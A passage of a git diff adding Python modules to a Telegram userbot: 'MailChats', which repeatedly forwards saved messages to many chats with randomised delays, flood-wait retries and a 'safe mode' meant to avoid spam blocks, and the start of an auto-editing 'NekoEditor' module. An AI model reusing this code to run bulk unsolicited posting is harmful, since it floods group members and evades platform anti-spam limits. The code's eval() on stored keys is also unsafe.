+import random +import re +import io +from datetime import datetime, timedelta +from typing import Dict, List, Optional, Tuple + +from telethon import errors +from telethon.tl import types as tl_types +from telethon.utils import get_display_name, get_peer_id + +from .. import loader, utils + +logger = logging.getLogger(__name__) + +class SpecificWarningFilter(logging.Filter): + def filter(self, record): + if record.name == 'hikkatl.hikkatl.client.users' and \ + 'PersistentTimestampOutdatedError' in record.getMessage() and \ + 'GetChannelDifferenceRequest' in record.getMessage(): + return False + return True + +class ChatTarget: + def __init__(self, raw_input: str, context_message: Optional[tl_types.Message] = None): + self.raw = raw_input + self.context = context_message + self.entity_to_find: any = raw_input + self.topic_id: Optional[int] = None + self._parse() + + def _parse(self): + match = re.match(r"https://t\.me/(?:c/)?([\w\d_.-]+)/(\d+)", self.raw) + if match: + chat_identifier = match.group(1) + if "/c/" in self.raw and chat_identifier.isdigit(): + self.entity_to_find = int(f"-100{chat_identifier}") + else: + self.entity_to_find = chat_identifier + try: + self.topic_id = int(match.group(2)) + except ValueError: + pass + elif self.context: + self.entity_to_find = self.context.chat_id + if getattr(self.context, 'is_topic_message', False): + self.topic_id = getattr(self.context, 'reply_to_top_id', self.context.id) + else: + try: + self.entity_to_find = int(self.raw) + except ValueError: + self.entity_to_find = self.raw + +@loader.tds +class MailChats(loader.Module): + """Модуль для массовой рассылки сообщений по чатам (Поддерживает все типы сообщений)""" + strings = { + "name": "MailChats", + "add_chat": "➕ Добавить текущий чат/тему. Используйте .add_chat или .add_chat (Можно сразу несколько ссылкок в 1 комманду).", + "remove_chat": "🗑️ Удалить чат/тему по номеру из списка. Используйте .remove_chat <номер>.", + "list_chats": "📜 Показать список чатов/тем для рассылки.", + "add_msg": "➕ Добавить сообщение (ответом).", + "remove_msg": "➖ Удалить сообщение по номеру. Используйте .remove_msg <номер>.", + "clear_msgs": "🗑️ Очистить список сообщений.", + "list_msgs": "📜 Показать список сообщений для рассылки.", + "set_seller": "⚙️ Установить ID чата/пользователя продавца для уведомлений. Используйте .set_seller .", + "mail_status": "📊 Показать статус рассылки.", + "start_mail": "🚀 Запустить рассылку. Использование: .start_mail <время_сек> <интервал_цикла_от-до_сек>.", + "stop_mail": "⏹️ Остановить рассылку.", + "error_getting_entity": "⚠️ Не удалось получить информацию о чате/сущности: {}", + "error_sending_message": "⚠️ Ошибка при отправке сообщения ({}) в чат {} ({}): {}", + "notification_sent": "✅ Уведомление отправлено.", + "invalid_arguments": "⚠️ Неверные аргументы.", + "chats_empty": "⚠️ Сначала добавьте чаты.", + "messages_empty": "⚠️ Сначала добавьте сообщения.", + "already_running": "⚠️ Рассылка уже запущена.", + "started_mailing": "✅ Рассылка начата.\n⏳ Общее время: {} сек.\n⏱️ Интервал между циклами: {}-{} сек.\n⏱️ Интервал между чатами: ~{}-{} сек\n⏱️ Интервал между сообщениями в чате: ~{}-{} сек", + "stopped_mailing": "✅ Рассылка остановлена.", + "not_running": "⚠️ Рассылка не активна.", + "chat_added": "✅ Чат/тема '{}' добавлен в список рассылки.", + "chat_already_added": "⚠️ Чат/тема '{}' уже в списке.", + "chat_removed": "✅ #{} '{}' удален из списка рассылки.", + "invalid_chat_selection": "⛔️ Неверный номер чата.", + "chats_cleared": "✅ Все чаты удалены из списка.", + "messages_cleared": "✅ Список сообщений очищен.", + "no_chats": "📃 Список чатов пуст.", + "no_messages": "✍️ Ответьте на сообщение, чтобы добавить его в список. Список сообщений пуст.", + "message_added": "✅ Сообщение добавлено (Snippet: {}).", + "message_removed": "✅ Сообщение №{} удалено (Snippet: {}).", + "invalid_message_number": "✍️ Укажите корректный номер сообщения.", + "seller_set": "✅ Установлен чат продавца.", + "duration_invalid": "✍️ Использование: .start_mail <время_сек> <интервал_цикла_от-до_сек>. Укажите целое число для времени и интервал между циклами (например: 45-70).", + "seller_notification": "Автоматическое уведомление: рассылка завершена", + "mailing_complete": "✅ Рассылка завершена!", + "safe_mode_enabled": "🟢 Безопасный режим ВКЛЮЧЁН\n• Только группы/каналы\n• Макс {} чатов/цикл\n• Интервал между чатами: ~{}-{} сек\n• Интервал между циклами: ~{}-{} сек\n• Интервал между сообщениями в чате: ~{}-{} сек", + "safe_mode_disabled": "🔴 Безопасный режим ВЫКЛЮЧЕН", + "mail_not_running": "⚠️ Рассылка не активна.", + "no_permission": "️️️️️️️️️️️️⚠️ Нет прав на отправку в чат {} ({}), пропускаем.", + "processing_entity": "⏳ Обработка сущности...", + "failed_to_send_message": "⚠️ Не удалось отправить сообщение {} в чат {}. Причина: {}", + "failed_perm_check": "⚠️ Не удалось проверить права в чатe {} ({}) из-за ошибки: {}. Пропускаем.", + "permission_denied_skip": "🚫 Пропуск чата {} (ID: {}, Topic: {}) из-за отсутствия прав на отправку. Причина: {}", + "cfg_safe_mode": "Включить безопасный режим (Отправка только по группам/каналам, больше задержка)", + "cfg_max_chats_safe": "Максимальное кол-во чатов за цикл в безопасном режиме", + "cfg_chats_interval": "Интервал между чатами (сек, от-до). Пример: 2,5", + "cfg_safe_chats_interval": "Интервал между чатами в БЕЗОПАСНОМ режиме (сек, от-до). Пример: 10,20", + "cfg_safe_cycle_interval": "Интервал между циклами в БЕЗОПАСНОМ режиме (сек, от-до). Пример: 180,300", + "cfg_safe_message_interval": "Интервал между сообщениями в 1 чат в БЕЗОПАСНОМ режиме (сек, от-до). Пример: 5,10", + "cfg_message_interval": "Интервал между сообщениями в 1 чат (сек, от-до). Пример: 1,3", + "cfg_delete_replies_delay": "⏱️ Задержка автоудаления для ответов команд (сек, 0 - не удалять)", + "cfg_randomize_messages": "Рандомизировать сообщения (1 случайное сообщение на чат за цикл)", + "add_chat_summary_title": "Результаты добавления чатов:\n\n", + "add_chat_success_header": "✅ Добавлено:\n", + "add_chat_already_exists_header": "⚠️ Уже существуют:\n", + "add_chat_errors_header": "❌ Ошибки:\n", + "no_valid_chats_provided": "⚠️ Не предоставлено валидных идентификаторов чатов или произошли ошибки при их обработке.", + } + PERMISSION_ERRORS = { + "ChatForbiddenError", "UserBannedInChannelError", "ChatWriteForbiddenError", + "ChatAdminRequiredError", "UserBlocked", "TopicClosedError", + "TopicEditedError", "ForumTopicDeletedError", + } + + def __init__(self): + try: + logger.setLevel(logging.WARNING) + h_logger = logging.getLogger('hikkatl.hikkatl.client.users') + if not any(isinstance(f, SpecificWarningFilter) for f in h_logger.filters): + h_logger.addFilter(SpecificWarningFilter()) + except Exception as e: + logger.error(f"Failed to apply SpecificWarningFilter: {e}") + + self.config = loader.ModuleConfig( + loader.ConfigValue("safe_mode", False, self.strings["cfg_safe_mode"], validator=loader.validators.Boolean()), + loader.ConfigValue("max_chats_safe", 10, self.strings["cfg_max_chats_safe"], validator=loader.validators.Integer(minimum=1)), + loader.ConfigValue("chats_interval", "2,5", self.strings["cfg_chats_interval"]), + loader.ConfigValue("safe_chats_interval", "10,20", self.strings["cfg_safe_chats_interval"]), + loader.ConfigValue("safe_cycle_interval", "180,300", self.strings["cfg_safe_cycle_interval"]), + loader.ConfigValue("safe_message_interval", "5,10", self.strings["cfg_safe_message_interval"]), + loader.ConfigValue("message_interval", "1,3", self.strings["cfg_message_interval"]), + loader.ConfigValue("delete_replies_delay", 5, self.strings["cfg_delete_replies_delay"], validator=loader.validators.Integer(minimum=0)), + loader.ConfigValue("randomize_messages", False, self.strings["cfg_randomize_messages"], validator=loader.validators.Boolean()), + ) + self.chats: Dict[Tuple[int, Optional[int]], str] = {} + self.messages: List[Dict] = [] + self.mail_task: Optional[asyncio.Task] = None + self.seller_chat_id: Optional[int] = None + self.total_messages_sent = 0 + self.start_time: Optional[datetime] = None + self.end_time: Optional[datetime] = None + self.is_running = False + self.lock = asyncio.Lock() + self._current_cycle_start_time: Optional[datetime] = None + self._processed_chats_in_cycle = 0 + + async def client_ready(self, client, db): + self.client = client + self.db = db + await self._load_data() + + def _get_db_chats(self): + return {str(k): v for k, v in self.chats.items()} + + def _save_db_chats(self): + self.db.set(self.strings["name"], "chats", self._get_db_chats()) + + async def _load_data(self): + stored_chats = self.db.get(self.strings["name"], "chats", {}) + migrated_chats = {} + needs_resave = False + if isinstance(stored_chats, dict): + for key, name in stored_chats.items(): + try: + chat_tuple = eval(key) + if isinstance(chat_tuple, tuple) and len(chat_tuple) == 2: + migrated_chats[chat_tuple] = name + else: + migrated_chats[(int(key), None)] = name + needs_resave = True + except Exception: + try: + migrated_chats[(int(key), None)] = name + needs_resave = True + except Exception: + logger.warning(f"Could not migrate chat key '{key}'") + elif isinstance(stored_chats, list): + for chat_id in stored_chats: + migrated_chats[(int(chat_id), None)] = f"Chat {chat_id}" + needs_resave = True + self.chats = migrated_chats + if needs_resave: + self._save_db_chats() + self.messages = self.db.get(self.strings["name"], "messages", []) + self.seller_chat_id = self.db.get(self.strings["name"], "seller_chat_id") + + async def _edit_or_reply_and_handle_deletion(self, message_event, text: str, delay: Optional[int] = None): + if delay is None: + delay = self.config["delete_replies_delay"] + processed_message = None + can_edit = message_event and hasattr(message_event, "edit") and callable(message_event.edit) + try: + if can_edit: + try: + if getattr(message_event, "deleted", False): + can_edit = False + else: + processed_message = await message_event.edit(text, parse_mode='html') + except errors.MessageNotModifiedError: + processed_message = message_event + except errors.MessageIdInvalidError: + can_edit = False + except errors.RPCError as e: + can_edit = False + logger.warning(f"RPC ошибка при попытке ({type(e).__name__}) редактировать {getattr(message_event, 'id', 'N/A')}: {e}. Попытка отправить новое.") + if not processed_message or not can_edit: + chat_to_reply = None + if message_event and hasattr(message_event, "chat_id") and message_event.chat_id is not None: chat_to_reply = message_event.chat_id + elif message_event and hasattr(message_event, "chat") and message_event.chat is not None: chat_to_reply = utils.get_peer_id(message_event.chat) + if chat_to_reply: + processed_message = await self.client.send_message(chat_to_reply, text, parse_mode='html') + else: + return None + except Exception as e_edit_reply_outer: + logger.error(f"Критическая ошибка на этапе редактирования/отправки сообщения: {e_edit_reply_outer}") + return None + if not processed_message: + return None + if delay > 0: + self.client.loop.create_task(self._delete_message_after_delay(processed_message, delay)) + return processed_message + + async def _delete_message_after_delay(self, message, delay): + await asyncio.sleep(delay) + try: + if hasattr(message, 'delete') and not getattr(message, 'deleted', False): + await message.delete() + except errors.MessageDeleteForbiddenError: + logger.warning(f"Нет прав на удаление сообщения {message.id}.") + except Exception as e_del: + logger.warning(f"Произошла ошибка при удалении сообщения {message.id}: {e_del}") + + async def _find_chat(self, target: ChatTarget) -> Optional[dict]: + try: + entity = await self.client.get_entity(target.entity_to_find) + chat_id = get_peer_id(entity) + topic_id = target.topic_id if getattr(entity, 'forum', False) else None + display_name = utils.escape_html(get_display_name(entity)) + if topic_id: + try: + topic_msg = await self.client.get_messages(entity, ids=topic_id) + if topic_msg and isinstance(getattr(topic_msg, "action", None), tl_types.MessageActionTopicCreate): + display_name += f" | Тема: '{utils.escape_html(topic_msg.action.title)}'" + else: + display_name += f" | Тема ID: {topic_id}" + except Exception: + display_name += f" | Тема ID: {topic_id}" + return {"key": (chat_id, topic_id), "name": display_name} + except Exception as e: + logger.error(f"Не удалось найти чат '{target.raw}': {e}") + return None + + @loader.command() + async def mail_help(self, message): + """📋 Показать пошаговую инструкцию по настройке рассылки.""" + help_text = """ +
+📋 Инструкция по настройке рассылки: + +Шаг 1: Добавьте чаты для рассылки +• Вручную: Перейдите в нужный чат и напишите .add_chat. +• По ссылке/ID: .add_chat @username https://t.me/channel/123 + +✨ Бэкап и восстановление списка: +• .dump_chats — Бэкап. Модуль выгрузит в файл только те чаты, что уже есть в списке рассылки. +• .load_chats — Загрузка. Ответьте этой командой на полученный файл, чтобы добавить чаты в рассылку. + +Шаг 2: Добавьте сообщения +• Ответьте на любое сообщение (текст, фото, видео) командой .add_msg. +• Можно добавить несколько сообщений для рассылки. + +Шаг 3: Проверьте списки +• .list_chats — посмотреть список чатов. Если их больше 50, отправит файлом. +• .list_msgs — посмотреть список сообщений. + +Шаг 4: Тонкая настройка (по желанию) +Откройте конфиг командой .cfg MailChats. Вот что значат основные параметры: + +-- Режимы работы -- +• safe_mode: Безопасный режим. Если включить, рассылка будет идти медленнее и только в группы/каналы, чтобы снизить риск спам-блока. +• randomize_messages: Случайные сообщения. Если включить, в каждый чат будет отправляться только ОДНО случайное сообщение из вашего списка. Если выключить — отправляются ВСЕ по порядку. + +-- Настройка пауз (формат: min,max секунд) -- +• chats_interval: Пауза между отправкой в разные чаты (обычный режим). Пример: 2,5. +• message_interval: Пауза между отправкой нескольких сообщений в ОДИН чат (обычный режим). +• safe_chats_interval: Пауза между чатами в безопасном режиме (больше для безопасности). +• safe_message_interval: Пауза между сообщениями в безопасном режиме. +• safe_cycle_interval: Пауза между кругами рассылки в безопасном режиме (например 180,300 = 3-5 минут). + +-- Прочее -- +• delete_replies_delay: Через сколько секунд удалять ответы модуля (например, "✅ Чат добавлен"). Поставьте 0, чтобы не удалять. +• max_chats_safe: Сколько максимум чатов обрабатывать за один круг в безопасном режиме. + +Шаг 5: Запустите рассылку +• Используйте команду .start_mail <время> <пауза> +• Пример: .start_mail 3600 180-300 + (Это запустит рассылку на 1 час (3600 сек) с паузой между кругами от 3 до 5 минут). + +Другие команды: +• .stop_mail — остановить рассылку. +• .mail_status — проверить, сколько времени осталось. +• .remove_chat <номер> — удалить чат из списка. +• .remove_msg <номер> — удалить сообщение. +• .clear_chats / .clear_msgs - полная очистка списков. +
+""" + await self._edit_or_reply_and_handle_deletion(message, help_text, delay=240) + + @loader.command() + async def add_chat(self, message): + """➕ Добавить чат. Можно несколько: .add_chat @user1 ссылка ...""" + args = utils.get_args_raw(message) + targets_to_find = [] + if args: + targets_to_find = [ChatTarget(raw) for raw in args.split()] + elif message.chat: + targets_to_find = [ChatTarget(str(message.chat_id), context_message=message)] + else: + await self._edit_or_reply_and_handle_deletion(message, self.strings["invalid_arguments"]); return + status_msg = await self._edit_or_reply_and_handle_deletion( + message, + self.strings["processing_entity"], + delay=0 + ) + tasks = [self._find_chat(target) for target in targets_to_find] + results = await asyncio.gather(*tasks) + added, exists, errors_list = [], [], [] + async with self.lock: + for i, res in enumerate(results): + if res: + if res["key"] in self.chats: + exists.append(f"• {res['name']}") + else: + self.chats[res["key"]] = res["name"] + added.append(f"• {res['name']}") + else: + errors_list.append(f"• {utils.escape_html(targets_to_find[i].raw)}") + if added: + self._save_db_chats() + if len(targets_to_find) > 50: + summary = self.strings["add_chat_summary_title"] + if added: summary += f"✅ Добавлено: {len(added)}\n" + if exists: summary += f"⚠️ Уже существуют: {len(exists)}\n" + if errors_list: summary += f"❌ Ошибки: {len(errors_list)}\n" + final_summary = summary.strip() + else: + summary = "" + if added: summary += self.strings["add_chat_success_header"] + "\n".join(added) + "\n\n" + if exists: summary += self.strings["add_chat_already_exists_header"] + "\n".join(exists) + "\n\n" + if errors_list: summary += self.strings["add_chat_errors_header"] + "\n".join(errors_list) + if not summary.strip(): + final_summary = self.strings["no_valid_chats_provided"] + else: + final_summary = self.strings["add_chat_summary_title"] + summary.strip() + await self._edit_or_reply_and_handle_deletion(status_msg, final_summary) + + @loader.command() + async def remove_chat(self, message): + """🗑️ Удалить чат по номеру.""" + args = utils.get_args_raw(message) + if not args or not args.isdigit(): + await self._edit_or_reply_and_handle_deletion(message, self.strings["invalid_chat_selection"]); return + idx_to_remove = int(args) - 1 + async with self.lock: + sorted_keys = sorted(self.chats.keys(), key=lambda k: (self.chats[k], k[0], k[1] or -1)) + if 0 <= idx_to_remove < len(sorted_keys): + key_to_remove = sorted_keys[idx_to_remove] + removed_name = self.chats.pop(key_to_remove) + self._save_db_chats() + await self._edit_or_reply_and_handle_deletion(message, self.strings["chat_removed"].format(idx_to_remove + 1, removed_name)) + else: + await self._edit_or_reply_and_handle_deletion(message, self.strings["invalid_chat_selection"]) + + @loader.command() + async def clear_chats(self, message): + """🗑️ Очистить список чатов.""" + async with self.lock: + self.chats.clear() + self.db.set(self.strings["name"], "chats", {}) + await self._edit_or_reply_and_handle_deletion(message, self.strings["chats_cleared"]) + + @loader.command() + async def list_chats(self, message): + """📜 Показать список чатов.""" + async with self.lock: + current_chats_copy = dict(self.chats) + if not current_chats_copy: + await self._edit_or_reply_and_handle_deletion(message, self.strings["no_chats"]) + return + output_header = "Список чатов для рассылки:\n\n" + sorted_items = sorted(current_chats_copy.items(), key=lambda item: (item[1], item[0][0], item[0][1] or -1)) + if len(sorted_items) > 50: + file_content = output_header + for i, ((cid, tid), name) in enumerate(sorted_items): + topic_str = f' | Тема: {tid}' if tid is not None else '' + file_content += f"{i+1}. {name} ({cid}{topic_str})\n" + file = io.BytesIO(file_content.encode("utf-8")) + file.name = "Mailing_Chat_List.txt" + await self._edit_or_reply_and_handle_deletion(message, "📝 Список чатов слишком большой, отправляю файлом...", delay=0) + await self.client.send_file(message.chat_id, file, caption=f"✅ Список из {len(sorted_items)} чатов.") + return + output = "" + output_header.strip() + "\n\n" + for i, ((cid, tid), name) in enumerate(sorted_items): + topic_str = f' | Тема: {tid}' if tid is not None else '' + output += f"{i+1}. {utils.escape_html(name)} ({cid}{topic_str})\n" + await self._edit_or_reply_and_handle_deletion(message, output, delay=60) + + @loader.command() + async def add_msg(self, message): + """➕ Добавить сообщение (ответом).""" + reply = await message.get_reply_message() + if not reply: + await self._edit_or_reply_and_handle_deletion(message, self.strings["no_messages"].split(". ")[0] + "."); return + if reply.text: snippet_text = reply.text.replace("\n", " ") + elif reply.photo: snippet_text = "[Фото]" + elif reply.video: snippet_text = "[Видео]" + elif reply.sticker: + alt = next((attr.alt for attr in reply.sticker.attributes if isinstance(attr, tl_types.DocumentAttributeSticker)), "?") + snippet_text = f"[Стикер: {alt}]" + else: snippet_text = "[Медиа/Файл]" + snippet = snippet_text[:100] + "..." if len(snippet_text) > 100 else snippet_text + async with self.lock: + self.messages.append({"id": reply.id, "chat_id": get_peer_id(reply.peer_id), "snippet": snippet}) + self.db.set(self.strings["name"], "messages", self.messages) + await self._edit_or_reply_and_handle_deletion(message, self.strings["message_added"].format(utils.escape_html(snippet))) + + @loader.command() + async def remove_msg(self, message): + """➖ Удалить сообщение по номеру.""" + args = utils.get_args_raw(message) + if not args or not args.isdigit(): + await self._edit_or_reply_and_handle_deletion(message, self.strings["invalid_message_number"]); return + idx = int(args) - 1 + async with self.lock: + if 0 <= idx < len(self.messages): + removed = self.messages.pop(idx) + self.db.set(self.strings["name"], "messages", self.messages) + await self._edit_or_reply_and_handle_deletion(message, self.strings["message_removed"].format(idx + 1, utils.escape_html(removed["snippet"]))) + else: + await self._edit_or_reply_and_handle_deletion(message, self.strings["invalid_message_number"]) + + @loader.command() + async def clear_msgs(self, message): + """🗑️ Очистить список сообщений.""" + async with self.lock: + self.messages.clear() + self.db.set(self.strings["name"], "messages", []) + await self._edit_or_reply_and_handle_deletion(message, self.strings["messages_cleared"]) + + @loader.command() + async def list_msgs(self, message): + """📜 Показать список сообщений.""" + if not self.messages: + await self._edit_or_reply_and_handle_deletion(message, self.strings["no_messages"]); return + text = "Список сообщений для рассылки:\n\n" + for i, msg in enumerate(self.messages): + text += f"{i + 1}. {utils.escape_html(msg['snippet'])}\n" + await self._edit_or_reply_and_handle_deletion(message, text, delay=60) + + @loader.command() + async def set_seller(self, message): + """⚙️ Установить ID для уведомлений.""" + args = utils.get_args_raw(message).strip() + if not args: + await self._edit_or_reply_and_handle_deletion(message, "✍️ Укажите ID чата, username, ссылку или 'me'."); return + identifier = self.client.tg_id if args.lower() == 'me' else args + try: + entity = await self.client.get_entity(identifier) + seller_id = get_peer_id(entity) + async with self.lock: + self.seller_chat_id = seller_id + self.db.set(self.strings["name"], "seller_chat_id", seller_id) + await self._edit_or_reply_and_handle_deletion(message, self.strings["seller_set"] + f": {get_display_name(entity)} ({seller_id})") + except Exception as e: + await self._edit_or_reply_and_handle_deletion(message, self.strings["error_getting_entity"].format(e)) + + @loader.command() + async def mail_status(self, message): + """📊 Показать статус рассылки.""" + async with self.lock: + if not self.is_running: + await self._edit_or_reply_and_handle_deletion(message, self.strings["not_running"]); return + now = datetime.now() + elapsed = now - self.start_time + remaining = self.end_time - now + status = ( + f"📊 Статус рассылки: Активна ✅\n" + f"⏳ Прошло: {str(elapsed).split('.')[0]}\n" + f"⏱️ Осталось: {str(remaining).split('.')[0] if remaining.total_seconds() > 0 else '0:00:00'}\n" + f"✉️ Отправлено сообщений: {self.total_messages_sent}\n" + f"🔄 Цикл: {self._processed_chats_in_cycle} чатов обработано" + ) + await self._edit_or_reply_and_handle_deletion(message, status, delay=30) + + @loader.command() + async def start_mail(self, message): + """🚀 Запустить рассылку.""" + args = utils.get_args(message) + if len(args) != 2: + await self._edit_or_reply_and_handle_deletion(message, self.strings["duration_invalid"]); return + try: + duration = int(args[0]) + min_interval, max_interval = map(float, args[1].replace(",", ".").split("-")) + if not (duration > 0 and 0 <= min_interval <= max_interval): raise ValueError + cycle_interval = (min_interval, max_interval) + except Exception: + await self._edit_or_reply_and_handle_deletion(message, self.strings["duration_invalid"]); return + async with self.lock: + if self.is_running: + await self._edit_or_reply_and_handle_deletion(message, self.strings["already_running"]); return + if not self.chats: + await self._edit_or_reply_and_handle_deletion(message, self.strings["chats_empty"]); return + if not self.messages: + await self._edit_or_reply_and_handle_deletion(message, self.strings["messages_empty"]); return + self.is_running = True + self.total_messages_sent = 0 + self.start_time = datetime.now() + self.end_time = self.start_time + timedelta(seconds=duration) + self._current_cycle_start_time = None + self._processed_chats_in_cycle = 0 + self.mail_task = self.client.loop.create_task(self._mail_loop(duration, cycle_interval, message)) + await self._edit_or_reply_and_handle_deletion(message, f"✅ Рассылка запущена на {duration} секунд.") + + @loader.command() + async def stop_mail(self, message): + """⏹️ Остановить рассылку.""" + async with self.lock: + if not self.is_running: + await self._edit_or_reply_and_handle_deletion(message, self.strings["not_running"]); return + self.is_running = False + if self.mail_task: + self.mail_task.cancel() + await self._edit_or_reply_and_handle_deletion(message, self.strings["stopped_mailing"]) + def _validate_interval_tuple(self, value, default_tuple: Tuple[float, float]) -> Tuple[float, float]: + try: + v_min, v_max = map(float, str(value).replace("-",",").split(',')) + if 0 <= v_min <= v_max: return (v_min, v_max) + except Exception: + pass + return default_tuple + + async def _is_safe_chat(self, entity: tl_types.TypePeer) -> bool: + return isinstance(entity, (tl_types.Chat, tl_types.Channel)) and get_peer_id(entity) < -1000000000 + + async def _send_to_chat(self, target_chat_id: int, msg_info: dict, target_topic_id: Optional[int]) -> Tuple[bool, str]: + try: + original_msg = await self.client.get_messages(msg_info["chat_id"], ids=msg_info["id"]) + if not original_msg: + return False, "Original message not found" + for attempt in range(3): + try: + await self.client.send_message(entity=target_chat_id, message=original_msg, reply_to=target_topic_id) + async with self.lock: + self.total_messages_sent += 1 + return True, "OK" # :/ + except errors.FloodWaitError as e: + if attempt == 2: return False, f"FloodWait ({e.seconds}s)" + await asyncio.sleep(e.seconds + random.uniform(1, 3)) + except errors.SlowModeWaitError as e: + await asyncio.sleep(e.seconds + random.uniform(0.2, 0.5)) + except Exception as e: + if type(e).__name__ in self.PERMISSION_ERRORS: + return False, type(e).__name__ + if attempt == 2: return False, str(e) + await asyncio.sleep(random.uniform(2, 5)) + return False, "Max retries" + except Exception as e: + return False, f"Get message error: {e}" + + async def _mail_loop(self, duration_seconds: int, cycle_interval_seconds_range: Tuple[float, float], initial_command_message_event): + """Оригинальный, надежный цикл рассылки""" + end_time_loop = self.start_time + timedelta(seconds=duration_seconds) + final_status_for_user = self.strings["mailing_complete"] + try: + while self.is_running and datetime.now() < end_time_loop: + self._current_cycle_start_time = datetime.now() + self._processed_chats_in_cycle = 0 + async with self.lock: + current_chats = list(self.chats.keys()) + current_messages_list = list(self.messages) + is_safe_mode = self.config["safe_mode"] + randomize_messages_cfg = self.config["randomize_messages"] + max_c_per_cycle = self.config["max_chats_safe"] + chats_interval_key = "safe_chats_interval" if is_safe_mode else "chats_interval" + short_interval = self._validate_interval_tuple(self.config[chats_interval_key], (10, 20) if is_safe_mode else (2, 5)) + message_interval_key = "safe_message_interval" if is_safe_mode else "message_interval" + message_interval_val = self._validate_interval_tuple(self.config[message_interval_key], (5, 10) if is_safe_mode else (1, 3)) + if not current_chats or not current_messages_list: + final_status_for_user = "Рассылка остановлена: список чатов или сообщений пуст." + break + random.shuffle(current_chats) + chats_for_this_cycle = current_chats[:min(max_c_per_cycle if is_safe_mode else len(current_chats), len(current_chats))] + for i, (chat_id_target, topic_id_target) in enumerate(chats_for_this_cycle): + if not self.is_running or datetime.now() >= end_time_loop: break + messages_to_send_now = [random.choice(current_messages_list)] if randomize_messages_cfg else current_messages_list + for message_detail in messages_to_send_now: + if not self.is_running or datetime.now() >= end_time_loop: break + success_send, reason_send = await self._send_to_chat(chat_id_target, message_detail, topic_id_target) + if not success_send: + if reason_send in self.PERMISSION_ERRORS: + logger.warning(f"Permission issue in {chat_id_target}, skipping chat.") + else: + logger.warning(f"Failed to send to {chat_id_target}: {reason_send}") + break + if len(messages_to_send_now) > 1: + await asyncio.sleep(random.uniform(*message_interval_val)) + self._processed_chats_in_cycle += 1 + if i < len(chats_for_this_cycle) - 1: + await asyncio.sleep(random.uniform(*short_interval)) + if not self.is_running or datetime.now() >= end_time_loop: break + await asyncio.sleep(random.uniform(*cycle_interval_seconds_range)) + except asyncio.CancelledError: + final_status_for_user = self.strings["stopped_mailing"] + except Exception as e_loop: + logger.exception("Критическая ошибка в цикле рассылки:") + final_status_for_user = f"❌ Критическая ошибка: {type(e_loop).__name__}" + finally: + final_report = f"{final_status_for_user} (Отправлено: {self.total_messages_sent})" + await self.client.send_message(initial_command_message_event.chat_id, final_report) + if self.seller_chat_id: + await self.client.send_message(self.seller_chat_id, f"🔔 Уведомление: {final_report}") + async with self.lock: + self.is_running = False + self.mail_task = None + + @loader.command() + async def dump_chats(self, message): + """📤 Выгрузить список чатов рассылки в .txt файл (для бэкапа).""" + status_msg = await self._edit_or_reply_and_handle_deletion(message, "⏳ Экспорт списка рассылки...", delay=0) + async with self.lock: + if not self.chats: + await self._edit_or_reply_and_handle_deletion(status_msg, "⚠️ Список чатов для рассылки пуст.") + return + export_list = [] + for (cid, tid), name in self.chats.items(): + if tid is not None and cid < -1000000000: + chat_id_for_link = str(cid)[4:] + export_list.append(f"https://t.me/c/{chat_id_for_link}/{tid}") + else: + export_list.append(str(cid)) + file_content = "\n".join(export_list) + file = io.BytesIO(file_content.encode("utf-8")) + file.name = "mailing_list_backup.txt" + await self.client.send_file( + message.chat_id, + file, + caption=f"✅ Экспортировано {len(export_list)} чатов из списка рассылки.\n\nИспользуйте .load_chats в ответе на этот файл, чтобы импортировать их.") + await self._edit_or_reply_and_handle_deletion(status_msg, "✅ Экспорт завершен!") + + @loader.command() + async def load_chats(self, message): + """📤 Загрузить чаты в рассылку из .txt файла (ответом на файл).""" + reply = await message.get_reply_message() + if not reply or not reply.document: + await self._edit_or_reply_and_handle_deletion(message, "✍️ Ответьте на .txt файл с ID чатов.") + return + if reply.document.mime_type != 'text/plain': + await self._edit_or_reply_and_handle_deletion(message, "⚠️ Файл должен быть в формате .txt") + return + status_msg = await self._edit_or_reply_and_handle_deletion(message, "⏳ Начинаю загрузку чатов из файла...", delay=0) + content = await reply.download_media(bytes) + chat_identifiers = content.decode("utf-8").splitlines() + chat_identifiers = [line.strip() for line in chat_identifiers if line.strip()] + if not chat_identifiers: + await self._edit_or_reply_and_handle_deletion(status_msg, "⚠️ Файл пуст или не содержит идентификаторов чатов.") + return + added, exists, errors_list = [], [], [] + for i, identifier in enumerate(chat_identifiers): + if i > 0 and i % 20 == 0: + await self._edit_or_reply_and_handle_deletion(status_msg, f"⏳ Обработано {i}/{len(chat_identifiers)}...", delay=0) + res = await self._find_chat(ChatTarget(identifier)) + if res: + if res["key"] not in self.chats: + self.chats[res["key"]] = res["name"] + added.append(res["name"]) + else: + exists.append(res["name"]) + else: + errors_list.append(identifier) + if added: + self._save_db_chats() + summary = f"✅ Загрузка завершена!\n\n" + if added: summary += f"Добавлено новых чатов: {len(added)}\n" + if exists: summary += f"Уже были в списке: {len(exists)}\n" + if errors_list: summary += f"Не удалось найти: {len(errors_list)}\n" + await self._edit_or_reply_and_handle_deletion(status_msg, summary) diff --git a/SenkoGuardian/SenModules/NekoEditorMod.py b/SenkoGuardian/SenModules/NekoEditorMod.py new file mode 100644 index 0000000..fd3cc32 --- /dev/null +++ b/SenkoGuardian/SenModules/NekoEditorMod.py @@ -0,0 +1,81 @@ +# This file is part of SenkoGuardianModules +# Copyright (c) 2025 Senko +# This software is released under the MIT License. +# https://opensource.org/licenses/MIT + +# meta developer: @SenkoGuardianModules + +from hikkatl.types import Message +from .. import loader, utils +import random + +@loader.tds +class NekoEditorMod(loader.Module): + """Neko-редактор сообщений | Владелецы: @SstAngelStar × @ilovesenko """ + strings = { + "name": "NekoEditor", + } + + def __init__(self): + self.config = loader.ModuleConfig( + loader.ConfigValue( + "enabled", + False, + "Автоматическое редактирование", + validator=loader.validators.Boolean() + ) + ) + + async def nekoedcmd(self, message: Message): + """Управление Neko-режимом | .nekoed [on/off]""" + args = utils.get_args_raw(message) + me = await message.client.get_me() + is_premium = getattr(me, 'premium', False) + if not args: + status = "включён" if self.config["enabled"] else "выключен" + return await utils.answer(message, f"🐱 NekoEditor: {status}") + if args.lower() in ["on", "вкл", "1"]: + self.config["enabled"] = True + if is_premium: + await utils.answer(message, '☺️ Режим включён! Nya~') + else: + await utils.answer(message, "🐾 Режим включён! Nya~") + elif args.lower() in ["off", "выкл", "0"]: + self.config["enabled"] = False + if is_premium: + await utils.answer(message, '👌 Режим выключен... ＞_＜') + else: + await utils.answer(message, "🌀 Режим выключен... >_<", parse_mode=None) + + self.db.set("NekoEditor", "enabled", self.config["enabled"]) + + async def watcher(self, message: Message): + if ( + not self.config["enabled"] + or not getattr(message, "out", False) + or getattr(message, 